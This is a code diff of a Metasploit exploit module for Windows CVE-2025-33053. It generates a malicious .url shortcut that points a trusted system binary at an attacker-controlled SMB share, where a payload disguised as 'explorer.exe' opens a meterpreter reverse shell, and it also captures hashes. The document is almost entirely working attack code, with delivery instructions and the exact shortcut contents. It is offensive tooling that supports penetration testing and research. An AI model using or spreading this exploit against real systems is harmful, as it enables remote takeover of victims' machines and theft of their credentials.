6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
7
Rank = NormalRanking
8
8
9
- include Msf ::Exploit ::Remote ::HttpServer
9
+ include Msf ::Exploit ::Remote ::SMB ::Server ::Share
10
+ include Msf ::Exploit ::Remote ::SMB ::Server ::HashCapture
10
11
include Msf ::Exploit ::FILEFORMAT
12
+ include Msf ::Exploit ::EXE
11
13
12
14
def initialize ( info = { } )
13
15
super (
@@ -34,94 +36,69 @@ def initialize(info = {})
34
36
[ 'URL' , 'https://github.com/DevBuiHieu/CVE-2025-33053-Proof-Of-Concept' ]
35
37
] ,
36
38
'Platform' => 'win' ,
37
- 'Arch' => ARCH_X64 ,
39
+ 'Arch' => [ ARCH_X64 , ARCH_X86 , ARCH_AARCH64 ] ,
40
+ 'Passive' => true ,
38
41
'Targets' => [ [ 'Windows (generic)' , { } ] ] ,
42
+ 'DefaultOptions' => {
43
+ 'FOLDER_NAME' => 'webdav' ,
44
+ 'FILE_NAME' => 'explorer.exe' ,
45
+ 'DisablePayloadHandler' => false ,
46
+ 'Payload' => 'windows/x64/meterpreter/reverse_tcp'
47
+ } ,
39
48
'DefaultTarget' => 0 ,
40
49
'Notes' => {
41
50
'Stability' => [ CRASH_SAFE ] ,
42
- 'SideEffects' => [ ARTIFACTS_ON_DISK ] ,
51
+ 'SideEffects' => [ IOC_IN_LOGS ] ,
43
52
'Reliability' => [ REPEATABLE_SESSION ]
44
53
}
45
54
)
46
55
)
47
56
48
57
register_options (
49
58
[
50
- OptString . new ( 'URIPATH' , [ true , 'The URI to use (do not change)' , '/' ] ) ,
51
- OptString . new ( 'OUTFILE' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
52
- OptString . new ( 'PAYLOAD_NAME' , [ true , 'Output payload file name' , 'route.exe' ] ) ,
53
- OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
54
- OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
55
- OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] )
59
+ OptString . new ( 'OUTFILE' , [ false , 'Output URL file name' , '' ] ) ,
56
60
] , self . class
57
61
)
58
- register_advanced_options (
59
- [
60
- OptString . new ( 'LOLBAS_EXE' ,
61
- [ true , 'Path to trusted binary (LOLBAS)' , 'C:\\Program Files\\Internet Explorer\\iediagcmd.exe' ] ) ,
62
- OptString . new ( 'ICON_PATH' ,
63
- [ true , 'Icon file path' , 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe' ] ) ,
64
- OptInt . new ( 'ICON_INDEX' , [ true , 'Icon index in icon file' , 13 ] ) ,
65
- OptString . new ( 'MODIFIED_HEX' , [ true , 'Modified timestamp in hex' , '20F06BA06D07BD014D' ] )
66
- ]
67
- )
68
62
end
69
63
70
- def on_request_uri ( cli , request )
71
- print_status ( 'Got request' )
72
- case request . method
73
- when 'OPTIONS'
74
- print_status ( '[+] Got OPTIONS request' )
75
- process_options ( cli , request )
76
- when 'PROPFIND'
77
- print_status ( '[+] Got PROPFIND request' )
78
- process_propfind ( cli , request )
79
- when 'GET'
80
- print_status ( '[+] Got GET request' )
81
- process_get ( cli , request )
82
- else
83
- process_ignore ( cli , request )
84
- end
64
+ def exploit_remote_load
65
+ start_service
66
+ print_status ( 'The SMB service has been started.' )
67
+
68
+ self . file_contents = generate_payload_exe
85
69
end
86
70
87
- def primer
88
- webdav = '\\\\'
89
- if datastore [ 'SSL' ]
90
- if datastore [ 'SRVPORT' ] != 443
91
- fail_with ( Failure ::BadConfig , 'SRVPORT must be 443' )
92
- end
93
- webdav = "#{ datastore [ 'SRVHOST' ] } @ssl"
94
- else
95
- webdav = "#{ datastore [ 'SRVHOST' ] } @#{ datastore [ 'SRVPORT' ] } "
71
+ def exploit
72
+ write_url_file
73
+ exploit_remote_load
74
+
75
+ stime = Time . now . to_f
76
+ timeout = datastore [ 'ListenerTimeout' ] . to_i
77
+ loop do
78
+ break if timeout > 0 && ( stime + timeout < Time . now . to_f )
79
+
80
+ Rex ::ThreadSafe . sleep ( 1 )
96
81
end
97
- webdav_unc = %(#{ webdav } \\ webdav\\ )
98
- print_status ( "[+] WebDAV running at #{ webdav_unc } " )
99
- write_url_file ( webdav_unc )
100
82
end
101
83
102
- def write_url_file ( webdav_unc )
103
- content = generate_url_content ( webdav_unc )
84
+ def write_url_file
85
+ content = generate_url_content
104
86
outfile = %(#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .url)
105
87
path = store_local ( 'webdav.url' , nil , content , outfile )
106
- print_status ( "[+] URL file: #{ path } , deliver to target's machine" )
107
- print_status ( "[+] Run following: curl http://#{ datastore [ 'SRVHOST' ] } :8080/#{ outfile } -o #{ outfile } " )
88
+ print_status ( "URL file: #{ path } , deliver to target's machine and wait for shell" )
89
+ # debug stuff
90
+ # print_status("Run following: curl http://#{datastore['LHOST']}:8080/#{outfile} -o #{outfile}")
108
91
end
109
92
110
- def generate_url_content ( webdav_unc )
93
+ def generate_url_content
111
94
<<~URLFILE
112
95
[InternetShortcut]
113
- URL=#{ datastore [ 'LOLBAS_EXE' ] }
114
- WorkingDirectory=#{ webdav_unc }
96
+ URL=C: \\ Windows \\ System32 \\ CustomShellHost.exe
97
+ WorkingDirectory=\\ \\ #{ srvhost } \\ #{ share } \\ #{ folder_name } \\
115
98
ShowCommand=7
116
- IconIndex=#{ datastore [ 'ICON_INDEX' ] }
117
- IconFile=#{ datastore [ 'ICON_PATH' ] }
118
- Modified=#{ datastore [ 'MODIFIED_HEX' ] }
99
+ IconIndex=13
100
+ IconFile=C: \\ Program Files (x86) \\ Microsoft \\ Edge \\ Application \\ msedge.exe
101
+ Modified=20F06BA06D07BD014D
119
102
URLFILE
120
103
end
121
-
122
- def return_error ( currentpath )
123
- fail_with ( Failure ::NoAccess ,
124
- "Cannot write to #{ currentpath } . Permission denied.\n " \
125
- 'Try restarting Metasploit with root privilege.' )
126
- end
127
104
end
0 commit comments